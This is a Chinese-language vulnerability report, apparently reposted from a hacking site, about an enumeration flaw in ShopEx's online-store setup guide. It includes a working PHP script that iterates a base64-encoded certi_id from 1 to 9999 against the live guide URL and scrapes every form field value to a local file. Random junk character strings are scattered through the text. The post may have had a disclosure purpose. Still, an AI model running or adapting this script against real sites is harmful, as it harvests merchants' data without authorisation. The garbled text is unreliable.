ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
# p" y+ B* h: O( NShopEx某接口缺陷,可遍历所有网站
) b+ j& P3 r- O8 ]详细说明：
: ~: R& r( D. P问题出现在shopex 网店使用向导页面

# A. O8 R; C  B7 [0 T
$ Y2 Z' F5 h8 p, _1 B) N
# O4 d: ^4 I* P8 U" ghttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
# G6 @" J4 E, A2 m2 w
" d% p9 U8 ~/ h! R# g; y
- C, W: `7 R: N  g, j4 Z, }
$ h% S; r, y/ ]+ |% p( T# H6 yrefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}

0 g* U- {% Z( L& U
, L* S  o: s; _( L
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
- h" v6 b$ `0 ], K% m3 C
- q  e2 X4 @- k0 {# Y
& t7 _) j1 X5 c& h4 |) `5 T+ g% A
6 [8 T2 m. l- k0 R& v<?php
6 Y# F, i. d: g
                for ($i=1; $i < 10000; $i++) { //遍历

* ~0 N  v# Y- X                        ShowshopExD($i);
2 Y9 b: `0 a7 o  o
0 o9 I" p- m# c  j. X) V# H                }

                function ShowshopExD($cid) {
5 f9 k- |6 t" j7 A
# [- ]" E9 y! [) ~/ I                $url='http://guide.ecos.shopex.cn/step2.php';

                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

        $url = $url.'?refer='.$refer;

8 A7 v3 I7 Z2 J" e/ l        $ch = curl_init($url);

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
: v% D! s5 R6 S: C' o
" J1 s8 R$ ~' D* {3 b        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

7 C; E1 ~- T$ x3 C4 P, w        $result = curl_exec($ch);

        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
; G( L3 Q) ^  }9 d1 e4 D
        if(strpos($result,$refer))

        {

  H$ ^3 G& L2 z6 J) s* q$ W                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
0 F5 O& G1 M: l4 W- o6 d9 l# \5 ~1 a: U
                foreach ($value[1] as $key) {

                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
, V1 L) N1 }+ F% ]2 J1 S
8 V; t# d5 m! s. i! [8 j, h" U0 }" p                        echo $res[1][0].':'.$res[3][0]."\r\n";

; w) M- _2 z0 E                        $col =$res[1][0].':'.$res[3][0]."\r\n";

                        fwrite($fp, $col, strlen($col));

                }

                echo '--------------------------------'."\r\n";
+ E7 [' s* M7 u) p: b
                fclose($fp);
5 j/ T$ @2 j, `6 f
        }

        flush();

. L9 j$ s2 i* z8 M        curl_close($ch);

7 Z( K7 i" n# V. u7 {                }

( @! L+ X$ _  [3 i5 |?>
2 J' n9 f  K9 J漏洞证明：
2 o) R; T7 A2 H; _http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式